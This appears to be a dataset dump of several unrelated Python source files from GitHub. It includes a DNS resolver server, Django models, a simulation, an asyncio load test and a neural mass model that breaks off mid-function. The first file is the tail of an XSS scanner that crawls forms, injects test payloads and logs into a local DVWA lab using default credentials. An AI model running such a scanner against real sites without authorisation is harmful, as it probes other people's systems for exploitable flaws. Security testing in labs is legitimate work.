extract_csrf_token(self, session, url): \n response = session.get(url)\n soup = BeautifulSoup(response.content, 'html.parser')\n # ALWAYS CHECK FOR CSRF FIELD this is DVWA \n token = soup.find('input', {'name': 'user_token'})['value']\n return token\n\n def extract_forms(self, url):\n response = self.session.get(url)\n parsed_html = BeautifulSoup(response.content, features=\"html.parser\")\n return parsed_html.findAll(\"form\")\n\n def submit_form(self, form, value, url):\n action = form.get(\"action\")\n method = form.get(\"method\")\n post_url = urlparse.urljoin(url, action)\n\n input_list = form.findAll(\"input\")\n post_data = {}\n for input in input_list:\n input_name = input.get('name')\n input_type = input.get('type')\n input_value = input.get('value')\n if input_type == 'text':\n input_value = value\n \n post_data[input_name] = input_value\n if method == 'post':\n return self.session.post(post_url,data=post_data)\n return self.session.get(post_url, params=post_data)\n\n def run_scanner(self):\n for link in self.target_links:\n forms = self.extract_forms(link)\n\n for form in forms:\n print(f\"[+] Testing form in: {link}\")\n is_vulnerable_to_xss = self.test_xss_in_form(form=form, url=link)\n if is_vulnerable_to_xss:\n print(f\"\\n[***] XSS Discovered in: {link}\")\n print(form)\n print(\"===================================\\n\")\n\n if \"=\" in link:\n print(f\"[+] Testing Link: {link}\")\n is_vulnerable_to_xss = self.test_xss_in_link(link)\n if is_vulnerable_to_xss:\n print(f\"\\n[***] XSS Discovered in: {link}\")\n\n def test_xss_in_link(self, url):\n xss_payload = \"\"\n url = url.replace(\"=\", f\"={xss_payload}\")\n response = self.session.get(url=url)\n return xss_payload in response.text\n\n def test_xss_in_form(self,form, url):\n xss_payload = \"\"\n response = self.submit_form(form=form, value=xss_payload, url=url)\n return xss_payload in response.text\n\ndef dvwa_scan():\n # example attack if there's authentication \n # dvwa target \n # docker run --rm -it -p 80:80 vulnerables/web-dvwa\n target_url = \"http://localhost\" # dvwa\n links_to_ignore = [\n 'http://localhost/logout.php'\n ]\n\n vuln_scanner = Scanner(url=target_url,ignore_links=links_to_ignore)\n login = f\"{target_url}/login.php\"\n token = vuln_scanner.extract_csrf_token(vuln_scanner.session, url=login)\n dvwa_login = {\n \"username\": 'admin',\n \"password\": 'password',\n \"Login\": 'submit',\n \"user_token\": token\n }\n vuln_scanner.session.post(login, data=dvwa_login)\n\n # automated discovery\n vuln_scanner.crawl()\n vuln_scanner.run_scanner()\n\ndef example_scan():\n # example attack \n # if no authentication \n target_url = \"https://example.example/\"\n links_to_ignore = [\n 'http://localhost/logout.php'\n ]\n vuln_scanner = Scanner(url=target_url,ignore_links=links_to_ignore)\n # automated discovery\n vuln_scanner.crawl()\n vuln_scanner.run_scanner()\n\nif __name__ == \"__main__\":\n dvwa_scan()\n #example_scan()\n","repo_name":"codeandrew/offensivesecurity-python","sub_path":"xss-scanner/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":5468,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"45952215102","text":"#!/usr/bin/env python3\n\n############################################\n# @author: Pavol Gumancik #\n# xguman01 #\n# #\n############################################\n\nimport sys #na kontrolu argumentov\nimport socket\n\n##########################################\n#poslanie validnych dat klientovi - opGet\ndef Dsend (data, type, s, conn, err):\n if err < 400:\n #kontrola existencie url\n try:\n ip = socket.gethostbyname(data)\n except socket.error:\n conn.sendall(b'HTTP/1.0 404 Not Found\\r\\n\\r\\n')\n return\n if type == 'A':\n Sdata = ('HTTP/1.0 200 OK\\r\\n\\r\\n%s:%s=%s\\n'% (data, type, socket.gethostbyname(data)))\n elif type == 'PTR':\n Sdata = ('HTTP/1.0 200 OK\\r\\n\\r\\n%s:%s=%s\\n'% (data, type, socket.gethostbyaddr(data)))\n Bdata = Sdata.encode() #string -> bytes\n conn.send((Bdata))\n\n##########################################\n#spracovanie operacie GET\ndef opGet(Sdata,s,conn):\n Sdata = Sdata.split(\"HTTP/1.1\")[0] + \"HTTP/1.1\" #odstranenie koncoveho stringu\n if Sdata.startswith( 'GET' ): #kontrola prefixu a nasledne odstranenie\n Sdata = Sdata.replace(\"GET/resolve?name=\",\"\", 1)\n else:\n conn.sendall(b'HTTP/1.0 400 Bad Request\\r\\n\\r\\n')\n return\n\n if Sdata.endswith('HTTP/1.1'): #kontrola postfixu a nasledne odstranenie\n Sdata = Sdata.replace(\"HTTP/1.1\",\"\", 1)\n else:\n conn.sendall(b'HTTP/1.0 400 Bad Request\\r\\n\\r\\n')\n return\n\n if Sdata.endswith('&type=A'): #kontrola postfixu a vyhodnotenie validity\n Sdata = Sdata.replace(\"&type=A\",\"\", 1)\n Dsend (Sdata, 'A', s, conn, 0) #posielanie dat clientovi\n elif Sdata.endswith('&type=PTR'):\n Sdata = Sdata.replace(\"&type=PTR\",\"\", 1)\n Dsend (Sdata, 'PTR', s, conn, 0) #posielanie dat clientovi\n else:\n conn.sendall(b'HTTP/1.0 400 Bad Request\\r\\n\\r\\n')\n return\n\n##########################################\n#spracovanie operacie POST\ndef opPost(Sdata, s, conn):\n Sdata = Sdata.replace(\"\\n\", \" \")\n Sdata = Sdata.replace(\"\\r\", \" \")\n\n if Sdata.startswith('POST/dns-queryHTTP/1.1'):\n pass\n else:\n conn.sendall(b'HTTP/1.0 400 Bad Request\\r\\n\\r\\n')\n return\n\n arr = Sdata.split(' ') # ulozenie vstupu do pola\n arrLen = len(arr)\n\n counter = 0\n header = False #ukazatel na error~False (ziaden validny vysledok)\n\n while counter < arrLen: #prechadzanie polom a jeho vyhodnocovanie\n line = arr[counter].replace(\" \", \"\")\n if line.endswith(':A'): #A type\n counter = counter + 1\n line = line.replace(\":A\", \"\")\n try: #kontrola existencie ip\n ip = socket.gethostbyname(line)\n except socket.error:\n continue\n if header == False: #kontrola hlavicky\n conn.sendall(b'')\n conn.sendall(b'HTTP/1.0 200 OK\\r\\n\\r\\n')\n Sdata = ('%s:A=%s\\r\\n'%(line,ip))\n Sdata = Sdata.encode() #string -> byte\n conn.sendall((Sdata))\n header = True\n\n elif line.endswith(':PTR'): #PTR type\n counter = counter + 1\n line = line.replace(\":PTR\", \"\")\n try: #kontrola existencie ip\n ip = socket.gethostbyaddr(line)\n except socket.error:\n continue\n if header == False: # kontrola hlavicky\n conn.sendall(b'')\n conn.sendall(b'HTTP/1.0 200 OK\\r\\n\\r\\n')\n Sdata = ('%s:PTR=%s\\r\\n'%(line,ip[0]))\n Sdata = Sdata.encode() #string -> byte\n conn.sendall((Sdata))\n header = True\n\n else:\n counter = counter + 1\n\n if header == False: #nevalidny vstup, error\n conn.sendall(b'HTTP/1.0 400 Bad Request\\r\\n\\r\\n')\n return\n\n##########################################\n#nacitavanie dat od klienta a vyhodnotenie prikazov\ndef DTload(s):\n s.listen()\n conn, addr = s.accept()\n with conn:\n while True: #pokial beriem data od clienta\n Bdata = conn.recv(1024)\n\n if not Bdata:\n break\n\n Sdata = Bdata.decode(\"utf-8\") #prevedenie bitoveho vstupu na string\n Sdata = Sdata.replace(\" \", \"\")\n\n if Sdata.startswith( 'GET' ):\n opGet(Sdata,s,conn)\n break\n\n elif Sdata.startswith( 'POST/' ):\n opPost(Sdata,s,conn)\n break\n else: #neznamy prikaz\n conn.sendall(b'HTTP/1.0 405 Method Not Allowed\\r\\n\\r\\n')\n break\n\n##########################################\ndef main():\n if len(sys.argv) != 2: #validny pocet argumentov\n print(\"Wrong number of arguments\\r\\n\\r\\n.\", file=sys.stderr)\n exit(1)\n\n if sys.argv[1].isnumeric(): #validny port - short int\n range = int(sys.argv[1]) #funguje iba na prirodzene cisla\n if range > 65535 or range == 0:\n print(\"Incorect format of PORT - out of range.\\r\\n\\r\\n\", file=sys.stderr)\n exit(1)\n\n else:\n print(\"Incorect format of PORT - invalid characters.\\r\\n\\r\\n\", file=sys.stderr)\n exit(1)\n\n HOST = '127.0.0.1'\n PORT = range\n\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((HOST, PORT))\n while True:\n DTload(s)\n\n##########################################\nmain()\n","repo_name":"PavolGumancik/IPK","sub_path":"ipk1.py","file_name":"ipk1.py","file_ext":"py","file_size_in_byte":5824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30835636275","text":"from django.conf import settings\nfrom django.contrib.auth.models import AbstractUser\nfrom django.contrib.auth.validators import ASCIIUsernameValidator\nfrom django.db import models\n\nfrom core.user_validation import check_username\n\n\nUSER_HELP_TEXT_TEMPLATE = 'Обязательно для заполнения, не более {} символов.'\n\n\nclass User(AbstractUser):\n \"\"\"Модель пользователя.\"\"\"\n\n username_validator = ASCIIUsernameValidator()\n\n email = models.EmailField(\n verbose_name='Адрес электронной почты',\n help_text=(\n USER_HELP_TEXT_TEMPLATE.format(settings.EMAIL_FIELD_MAX_LENGHT)\n ),\n unique=True,\n blank=False,\n null=False\n\n )\n username = models.CharField(\n verbose_name='Уникальный юзернейм',\n help_text=(\n USER_HELP_TEXT_TEMPLATE.format(settings.USER_FIELD_MAX_LENGHT)\n ),\n max_length=settings.USER_FIELD_MAX_LENGHT,\n unique=True,\n validators=[username_validator],\n blank=False,\n )\n first_name = models.CharField(\n verbose_name='Имя',\n help_text=(\n USER_HELP_TEXT_TEMPLATE.format(settings.USER_FIELD_MAX_LENGHT)\n ),\n max_length=settings.USER_FIELD_MAX_LENGHT,\n blank=False,\n )\n last_name = models.CharField(\n verbose_name='Фамилия',\n help_text=(\n USER_HELP_TEXT_TEMPLATE.format(settings.USER_FIELD_MAX_LENGHT)\n ),\n max_length=settings.USER_FIELD_MAX_LENGHT,\n blank=False,\n )\n password = models.CharField(\n verbose_name='Пароль',\n help_text=(\n USER_HELP_TEXT_TEMPLATE.format(settings.USER_FIELD_MAX_LENGHT)\n ),\n max_length=settings.USER_FIELD_MAX_LENGHT,\n blank=False,\n )\n\n USERNAME_FIELD = 'email'\n\n REQUIRED_FIELDS = [\n 'username', 'first_name', 'last_name', 'password'\n ]\n\n def clean(self):\n super().clean()\n check_username(value=self.username)\n\n class Meta:\n verbose_name = 'Пользователь'\n verbose_name_plural = 'Пользователи'\n\n def __str__(self) -> str:\n return self.username\n\n\nclass Follow(models.Model):\n \"\"\"Модель подписок.\"\"\"\n\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='follower',\n verbose_name='Подписчик'\n )\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='following',\n verbose_name='Автор'\n )\n\n class Meta:\n verbose_name = 'Подписка'\n verbose_name_plural = 'Подписки'\n constraints = [\n models.UniqueConstraint(\n fields=['user', 'author'], name=\"unique_follow\"\n )\n ]\n\n def __str__(self) -> str:\n return f'{self.user.username}: {self.author.username}'\n","repo_name":"keep-you-busy/foodgram-project-react","sub_path":"backend/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27137577521","text":"import random\n\nfrom Utils.class_descriptions import Directions\n\n\ndef feed_agents(agents, world):\n for agent in agents:\n agent.decrease_strength()\n if world[agent.position[0]][agent.position[1]].has_food():\n agent.give_food()\n world[agent.position[0]][agent.position[1]].decrease_food()\n\n\ndef handle_encounters(agents, world):\n rows, cols = len(world), len(world[0])\n directions = [direction.value for direction in Directions]\n\n for row in range(rows):\n for col in range(cols):\n if world[row][col].has_food() and not world[row][col].is_open():\n fighters = []\n for direction in directions:\n x = row + direction[0]\n y = col + direction[1]\n if 0 <= x < rows and 0 <= y < cols:\n if world[x][y].would_agent_attack():\n if world[x][y].agent.wanna_attack(world, (row, col)):\n fighters.append(world[x][y].agent)\n\n if fighters:\n defender = world[row][col].agent\n if defender.wanna_defend():\n fighters.append(defender)\n\n winner = random.choices(fighters, [agent.power for agent in fighters])[0]\n\n if winner is not defender:\n world[row][col].agent = winner\n world[winner.position[0]][winner.position[1]].agent = defender\n\n defender.move((winner.position[0], winner.position[1]))\n winner.move((row, col))\n\n for agent in agents:\n agent.reset_fight()\n\n\ndef handle_conflicted_moves(agents, world):\n board = [[[] for i in range(len(world[0]))] for j in range(len(world))]\n\n for agent in agents:\n board[agent.next_position[0]][agent.next_position[1]].append(agent)\n\n for row in board:\n for block in row:\n if len(block) > 1:\n moving_agent = random.choice(block)\n for agent in block:\n if agent != moving_agent:\n agent.next_position = agent.position\n\n\ndef move_agents(agents, world):\n for agent in agents:\n agent.plan_to_move(world)\n\n handle_conflicted_moves(agents, world)\n\n for agent in agents:\n agent.move()\n\n\ndef kill_weak_agents(agents):\n survived_agents = []\n for agent in agents:\n if agent.is_alive():\n survived_agents.append(agent)\n\n return survived_agents\n\n\ndef reproduce_strong_agents(agents, world):\n new_population = []\n for agent in agents:\n new_population.append(agent)\n\n if random.random() < agent.get_current_reproduction_rate() and agent.has_open_neighbor(world):\n birth_position = random.choice(agent.get_open_neighbors(world))\n baby = agent.give_birth(birth_position)\n new_population.append(baby)\n\n return new_population\n\n\ndef reproduce_food(world, food_probability):\n for row in world:\n for cell in row:\n if random.random() < food_probability:\n cell.increase_food()\n\n\ndef run_the_world(world, food_probability):\n random.seed(30)\n\n agents = []\n for row in world:\n for cell in row:\n if cell.agent:\n agents.append(cell.agent)\n\n feed_agents(agents, world)\n\n agents = kill_weak_agents(agents)\n\n handle_encounters(agents, world)\n\n agents = reproduce_strong_agents(agents, world)\n\n move_agents(agents, world)\n\n reproduce_food(world, food_probability)\n\n # update population\n for row in world:\n for cell in row:\n cell.agent = None\n\n for agent in agents:\n world[agent.position[0]][agent.position[1]].agent = agent\n\n","repo_name":"qiisziilbash/Simple_World_Simulation","sub_path":"Utils/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23996515807","text":"# This script was copied and modified from https://github.com/gistart/asyncio-pool/blob/cd79fe782f97c6a268f61307a80397744d6c3f4b/tests/loadtest.py\n\nimport argparse\nimport asyncio\nimport time\nfrom collections.abc import Callable, Coroutine\nfrom typing import Any\n\nfrom asyncio_pool import AsyncioPool\n\nLoadTestMethod = Callable[[int, int, float], Coroutine[Any, Any, Any]]\n\n\nasync def loadtest_spawn(tasks: int, pool_size: int, duration: float) -> list[asyncio.Future[None]]:\n futures: list[asyncio.Future[None]] = []\n async with AsyncioPool(pool_size) as pool:\n for _ in range(tasks):\n fut = pool.spawn(asyncio.sleep, duration)\n futures.append(fut)\n\n return futures\n\n\nasync def loadtest_map(tasks: int, pool_size: int, duration: float) -> set[asyncio.Future[None]]:\n async def wrk(_: int) -> None:\n await asyncio.sleep(duration)\n\n async with AsyncioPool(pool_size) as pool:\n return pool.map(wrk, range(tasks))\n\n\nasync def loadtest_itermap(tasks: int, pool_size: int, duration: float) -> list[asyncio.Future[None]]:\n async def wrk(_: int) -> None:\n await asyncio.sleep(duration)\n\n futures: list[asyncio.Future[None]] = []\n async with AsyncioPool(pool_size) as pool:\n async for fut in pool.itermap(wrk, range(tasks), batch_duration=5.0):\n futures.append(fut)\n\n return futures\n\n\ndef print_stats(args: Any, exec_time: float) -> None:\n ideal = args.task_duration * (args.tasks / args.pool_size)\n overhead = exec_time - ideal\n per_task = overhead / args.tasks\n overhead_perc = ((exec_time / ideal) - 1) * 100\n\n print(f\"{ideal:15.5f}s -- ideal result\")\n print(f\"{exec_time:15.5f}s -- total executing time\")\n print(f\"{overhead:15.5f}s -- total overhead\")\n print(f\"{per_task:15.5f}s -- overhead per task\")\n print(f\"{overhead_perc:13.3f}% -- overhead total percent\")\n\n\nif __name__ == \"__main__\":\n methods: dict[str, LoadTestMethod] = {\n \"spawn\": loadtest_spawn,\n \"map\": loadtest_map,\n \"itermap\": loadtest_itermap,\n }\n\n p = argparse.ArgumentParser()\n p.add_argument(\"method\", choices=methods.keys())\n p.add_argument(\"--tasks\", \"-t\", type=int, default=10**5)\n p.add_argument(\"--task-duration\", \"-d\", type=float, default=0.2)\n p.add_argument(\"--pool-size\", \"-p\", type=int, default=10**3)\n args = p.parse_args()\n\n print(\n \">>> Running %d tasks in pool of size=%s, each task takes %.3f sec.\"\n % (args.tasks, args.pool_size, args.task_duration)\n )\n print(\">>> This will run more than %.5f seconds\" % (args.task_duration * (args.tasks / args.pool_size)))\n\n ts_start = time.perf_counter()\n\n if args.method in methods:\n m = methods[args.method](args.tasks, args.pool_size, args.task_duration)\n asyncio.get_event_loop().run_until_complete(m)\n exec_time = time.perf_counter() - ts_start\n print_stats(args, exec_time)\n else:\n raise KeyError(f\"method not found: {args.method}\")\n","repo_name":"smithk86/asyncio-pool-ng","sub_path":"tests/loadtest.py","file_name":"loadtest.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"32460829365","text":"import numpy as np\nimport numpy.matlib\nimport random\nimport math\nimport mat73\nfrom tqdm import tqdm\nimport os\nfrom scipy import signal\nfrom scipy.io import savemat\nimport pyarrow as pa\nimport pyarrow.parquet as pq\nimport warnings\nwarnings.filterwarnings('ignore')\n\n### Define some functions\ndef isPD(B):\n \"\"\"Returns true when input is positive-definite, via Cholesky\"\"\"\n try:\n _ = np.linalg.cholesky(B)\n return True\n except np.linalg.LinAlgError:\n return False\n\ndef nearest_spd(A):\n k = 1\n B = (A + A.T)/2\n _, sigma, V = np.linalg.svd(B)\n H = np.dot(V.T, np.dot(np.diag(sigma),V))\n Ahat = (B+H)/2\n Ahat = (Ahat + Ahat.T)/2\n if isPD(Ahat):\n return Ahat, k\n spacing = np.spacing(np.linalg.norm(A))\n I = np.eye(A.shape[0])\n k = 1\n while not isPD(Ahat):\n mineig = np.min(np.real(np.linalg.eigvals(Ahat)))\n Ahat += I * (-mineig * k ** 2 + spacing)\n k += 1\n if k >= 1e5:\n k = -1\n return [Ahat, k]\n return [Ahat, k]\n\n# NMM parameter initialization\ndef set_params(ext_input, input_offset, TimeOfSim, Fs, sigma_R = 1e-3):\n \"\"\"\n set_params, migrated from the MATLAB version by Pip Karoly\n Set parameters for the neural mass model\n\n Inputs:\n ext_input - the input to the model\n input_offset - value of the offset (to compensate for a DC offset if required - i.e. there is a DC shift in the model but data may not be recorded with DC component)\n TimeOfSim - length of time to simulate data for\n Fs - sampling frequency (Hz)\n sigma_R (optional) - Default value: 1e-3\n\n Outputs:\n A,B,C,H: model and observation matrices (defined in Karoly et al 2018)\n N_states,N_syn,N_inputs,N_samples: model dimensions\n xi, y: simulated data (xi = state vector, y = measurement)\n v0,varsigma: model constants\n Q,R: model and measurement noise\n\n Neural mass model parameters have been modified from Jansen & Rit (1995)\n\n For further references see:\n\n [1] Freestone, D. R., Karoly, P. J., Neši?, D., Aram, P., Cook, M. J., & Grayden, D. B. (2014).\n Estimation of effective connectivity via data-driven neural modeling. Frontiers in neuroscience, 8, 383\n\n [2] Ahmadizadeh, S., Karoly, P. J., Neši?, D., Grayden, D. B., Cook, M. J., Soudry, D., & Freestone, D. R. (2018).\n Bifurcation analysis of two coupled Jansen-Rit neural mass models. PloS one, 13(3), e0192842.\n\n [3] Kuhlmann, L., Freestone, D. R., Manton, J. H., Heyse, B., Vereecke, H. E., Lipping, T., ... & Liley, D. T. (2016).\n Neural mass model-based tracking of anesthetic brain states. NeuroImage, 133, 438-456.\n \"\"\"\n\n scale = 50 # This is to get states and derivatives on the same order of magnitude\n\n mV = True # Set units of membrane potentials (True for mV, False for V)\n V2mVfactor = 1e3\n\n # Time parameters\n dt = 1/Fs #Time step (s)\n N_samples = int(np.round(TimeOfSim/dt)) # No. of time poitns to simulate\n\n input_offset = np.array(input_offset) # Making sure it is a NumPy array\n if input_offset.size > 0:\n N_inputs = 2\n else:\n N_inputs = 1\n\n N_syn = 4 # No. of synapses\n N_states = 3 * N_syn + N_inputs # No. of states / dimension of the state-space. Plus one for input\n\n # Define the distrubance covariance matrix\n sigma_all = 5e-8\n sigma_input = 5e-4\n sigma_params = 5e-5\n sigma_offset = 5e-6\n\n\n Q = np.identity(N_states) * (scale * np.sqrt(dt) * sigma_all)**2 # add a tiny bit of noise to all states (added for numerical stability)\n Q[2*N_syn:, 2*N_syn:] = np.identity(N_syn + N_inputs) * (scale * np.sqrt(dt) * sigma_params)**2\n Q[2*N_syn, 2*N_syn] = (scale * np.sqrt(dt) * sigma_input)**2\n if N_inputs > 1:\n Q[2*N_syn+1, 2*N_syn+1] = (scale * np.sqrt(dt) * sigma_offset)**2\n\n # Measurement disturbance covariance\n R = sigma_R**2\n\n # General parameters from Jansen and Rit\n # Sigmoid bits\n f_max = 2.5 # maximum firing rate (spikes/s)\n r = 560\n varsigma = 1.699/r # spikes/(Vs)\n varsigma_sq = varsigma**2 # V\n\n # Synaptic gains\n alpha_e = 3.25e-3 # gain of excitatory synapses (V)\n alpha_i = -22e-3 # gain of inhibitory synapses (V)\n v0 = 0.006\n\n # Synaptic kernel time constants\n ex_tau = 0.010 # excitatory synaptic time constant (s)\n in_tau = 0.020 # inhibitory synaptic time constant (s)\n\n # input to py population\n #\n # SCALE 1 - this is to avoid large differences between states upsetting the filter\n # (magnitude of the membrane potentials and their derivatives)\n ext_input = ext_input*scale\n # SCALE 2 - this converts a constant input to its effect on the pyramidal\n # membrane potential by taking the steady state limit of the synaptic kernel\n # (assumption that the input varies much slower than the state variables).\n ext_input = ext_input * alpha_e/ex_tau * ex_tau**2\n # ~~~~~ ~~~~~~~~~~~~~~ ~~~~~~~~~\n # input synaptic gain integral of kernel\n\n # measurement DC offset\n input_offset = input_offset * scale\n input_offset = input_offset * alpha_e/ex_tau * ex_tau**2\n\n if mV:\n Q = (V2mVfactor**2) * Q\n R = (V2mVfactor**2) * R\n\n r = r/V2mVfactor\n varsigma = 1.699/r # (spikes/(Vs))\n varsigma_sq = varsigma**2\n v0 = v0*V2mVfactor\n alpha_e = alpha_e*V2mVfactor # gain of excitatory synapses (V)\n alpha_i = alpha_i*V2mVfactor # gain of inhibitory synapses (V)\n\n ext_input= ext_input*V2mVfactor\n input_offset = input_offset*V2mVfactor\n\n # Connectivity constants to relate to Jansen and Rit 1995 model\n ConnectivityConst = 270 # Jansen and Rit connectivity parameters. Either 135, 270 or 675\n C1 = ConnectivityConst\n C2 = 0.8*ConnectivityConst\n C3 = 0.25*ConnectivityConst\n C4 = 0.25*ConnectivityConst\n\n # Model structure\n # ~~~~~~~~~~~~~~~~~\n #\n # X\n # __ | __\n # / \\ | / \\\n # / 04 | 01 \\\n # | P |\n # ^ | | | | ^\n # | E | v I | direction of info\n # 03 /|\\ 02\n # | / | \\ |\n # \\_/ | \\_/\n # v\n # population types: E, P, I, X\n # synapses: 01 (IP), 02 (PI), 03 (PE), 04 (EP)\n\n # Initialize some variables\n tau = np.zeros([4,])\n alpha = np.zeros([4,])\n\n # This is the Observation function\n H = np.zeros([1,N_states]) # Initialize to zeros and later add 1s to states that contribute to EEG\n\n # Initialize adjancy matrix\n Gamma = np.zeros([2 * N_syn + N_inputs, 2 * N_syn + N_inputs]) # - plus 1 for input\n\n # Specify synapses\n syn_index = 0 # Python indexing starts at 0, hence syn_index 0 is equivalent to the syn_index 1 in Matlab\n\n # Syn1, connection from I to P\n tau[syn_index,] = in_tau\n alpha[syn_index,] = alpha_i * 2 * f_max * C4 * dt / tau[syn_index,] # note the time constant and time step are in the gains\n presyn_inputs = np.array([2]) # the presynaptic population is getting inputs from synapses 2\n # Check if presyn_inputs not empty\n if presyn_inputs.size > 0:\n \"\"\" Note! the folllowing line was brought from Matlab code. -1 was\n turned into -2 to comply with Python indexing\"\"\"\n Gamma[2 * (syn_index + 1) -1, 2 * presyn_inputs -2] = 1 # set the entries of Gamma corresponding to indices of presynaptic inputs to 1\n H[0, 2 * (syn_index + 1) -2] = 1\n\n # Syn2, connection from P to I\n syn_index = syn_index + 1\n tau[syn_index,] = ex_tau\n alpha[syn_index,] = alpha_e * 2 * f_max * C3 * dt / tau[syn_index,] # note the time constsnt and time step are in the gains\n presyn_inputs = np.array([1, 4, 5]) # the presynaptic population is getting inputs from synapses 1, 4, 5\n if presyn_inputs.size > 0:\n Gamma[2 * (syn_index + 1) -1, 2 * presyn_inputs -2] = 1\n H[0, 2 * (syn_index + 1) -2] = 0 # set to one if it contributes to the EEG (i.e. if the synapse is to Py cells)\n\n # Syn3, connection from P to E\n syn_index = syn_index + 1\n tau[syn_index,] = ex_tau\n alpha[syn_index,] = alpha_e * 2 * f_max * C1 * dt / tau[syn_index,] # note the time constsnt and time step are in the gains\n presyn_inputs = np.array([1, 4, 5]) # the presynaptic population is getting inputs from synapses 1, 4, 5\n if presyn_inputs.size > 0:\n Gamma[2 * (syn_index + 1) -1, 2 * presyn_inputs -2] = 1\n H[0, 2 * (syn_index + 1) -2] = 0\n\n # Syn4, connection from E to P\n syn_index = syn_index + 1\n tau[syn_index,] = ex_tau\n alpha[syn_index,] = alpha_e * 2 * f_max * C2 * dt / tau[syn_index,] # note the time constsnt and time step are in the gains\n presyn_inputs = np.array([3]) # the presynaptic population is getting inputs from synapses 3\n if presyn_inputs.size > 0:\n Gamma[2 * (syn_index + 1) -1, 2 * presyn_inputs -2] = 1\n H[0, 2 * (syn_index + 1) -2] = 1\n\n # For input\n syn_index = syn_index + 1\n H[0, 2 * (syn_index + 1) -2] = 1 # The input contributes to the observation function\n\n if N_inputs > 1:\n # Offset term\n H[0, 2 * (syn_index + 1) -1] = 1 # Offset contributes to the observation function. Notice the -1 instead of -2 in the indexing.\n\n # Rescale\n H = H/scale # Scale! This helps deal with our numerical issues.\n\n # Define A\n #\n # A is made up of the submatrices Psi in a block diagonal structure.\n # There is a Psi for each connection in the model. This is where all the\n # synaptic time constants enter the system. Further, the scale paramter\n # enters here (and with C (multiplicative factor) and with the H (divisor).\n Psi = np.zeros([2*N_syn, 2*N_syn]) # initialise Psi, the component of A for fast states\n for n in range(0,N_syn):\n index = 2*n\n Psi[index : index + 2, index : index + 2] = np.array([[0, scale],\n [-1/(scale * tau[n]**2), -2/tau[n]]])\n\n # A = [1+dt*Psi, 0\n # 0 , 1]\n # Where 1 is the identity matrix of the appropriate size.\n a11 = np.identity(2*N_syn) + dt*Psi # [1]+dt*Psi\n a12 = np.zeros([2*N_syn, N_syn+N_inputs]) # [0]\n a21 = np.zeros([N_syn+N_inputs, 2*N_syn]) # [0]\n a22 = np.identity(N_syn+N_inputs) # [1]\n # Concatenate horizontally\n a1 = np.concatenate((a11,a12), axis=1)\n a2 = np.concatenate((a21,a22), axis=1)\n # Concantenate vertically\n A = np.concatenate((a1,a2))\n\n # Define B\n #\n # Theta = [0 0 ... 0\n # 1 0 ... 0\n # 0 0 ... 0\n # 0 1 ... 0\n # ...\n # 0 0 ... 0\n # 0 0 ... 1]\n # B = [0 Theta ; 0 0]\n Theta = np.zeros([2*N_syn, N_syn]) # Theta is used twice!\n for n in range(0,N_syn):\n index = 2*n\n Theta[index : index + 2, n : n+1] = np.array([[0],[1]])\n b1 = np.concatenate((np.zeros([2*N_syn, 2*N_syn+N_inputs]), Theta), axis=1)\n b2 = np.zeros([N_syn+N_inputs, 3*N_syn+N_inputs])\n B = np.concatenate((b1,b2))\n\n # Define C (adjacency matrix)\n c1 = np.concatenate((Gamma/scale, np.zeros([2*N_syn + N_inputs, N_syn])), axis=1)\n c2 = np.zeros([N_syn, 3 * N_syn + N_inputs])\n C = np.concatenate((c1,c2))\n\n # Model structure has been defined. WE ARE NOW BORN TO RUN!\n # Set up forward simulation\n\n # Define initial conditions\n ve = 0; ze = 0; vp1 = 0; zp1 = 0; vp2 = 0; zp2 = 0; vi = 0; zi = 0; # vp3 = 0; zp3 = 0; # <- unused variables. Legacy?\n x = np.array([ve, ze, vp1, zp1, vp2, zp2, vi, zi])\n xi = np.zeros([N_states, N_samples])\n i_off = np.array([input_offset])\n xi[:,0] = np.concatenate((x, np.array([ext_input]), np.reshape(i_off, (i_off.size,)), alpha)) # ext_input and alpha are set in set_params\n\n np.random.seed(1)\n w = np.random.multivariate_normal(mean = np.zeros(N_states),\n cov = np.array(Q),\n size = N_samples)\n w = np.array(w)\n w = np.transpose(w)\n\n phi_p = np.zeros([1, N_samples])\n\n # Run the model forward\n for n in range(0, N_samples-1):\n v = np.matmul(C,xi[:,n])\n phi = g(v,v0,varsigma)\n phi_p[0,n:n+1] = phi[3:4,0]\n xi[:,n+1:n+2] = np.matmul(A, xi[:,n:n+1]) + np.multiply(np.matmul(B, xi[:,n:n+1]), phi) + w[:,n:n+1]\n\n np.random.seed(1)\n v = np.sqrt(R) * np.random.randn(1, N_samples)\n y = np.matmul(H,xi) + v\n\n # Define output arguments\n output = {\n 'A': A,\n 'B': B,\n 'C': C,\n 'H': H,\n 'N_states': N_states,\n 'N_syn': N_syn,\n 'N_inputs': N_inputs,\n 'N_samples': N_samples,\n 'xi': xi,\n 'y': y,\n 'v0': v0,\n 'varsigma': varsigma,\n 'Q': Q,\n 'R': R,\n }\n return output\n\n# Error function sigmoid\ndef g(v, v0, varsigma):\n \"\"\" g(.) is the sigmoidal activation function \"\"\"\n\n v_shape = np.array(v.shape)\n if v_shape.size > 0:\n g_ = np.zeros(v_shape)\n for i in range(0, v_shape[0]):\n g_[i] = 0.5 * math.erf((v[i] - v0) / (np.sqrt(2)*varsigma)) + 0.5\n else:\n raise ValueError(\"The size of input parameter 'v' must be greater than zero.\")\n\n g_ = np.reshape(g_, (g_.size,1))\n\n return g_\n\n# Propagate mean and covariance\ndef propagate_metrics(N_syn, N_states, N_inputs, A, B, C, P_0p, xi_0p, varsigma, v0, Q):\n \"\"\"\n PROPAGATE MEAN AND COVARIANCE TRHOUGH NMM EQUATIONS\n\n Results for the posterior mean and covariance of the multivariate\n distribution over the membrane potentials (v), derivatives (z) and alpha\n gain terms (alpha) in a NMM.\n\n 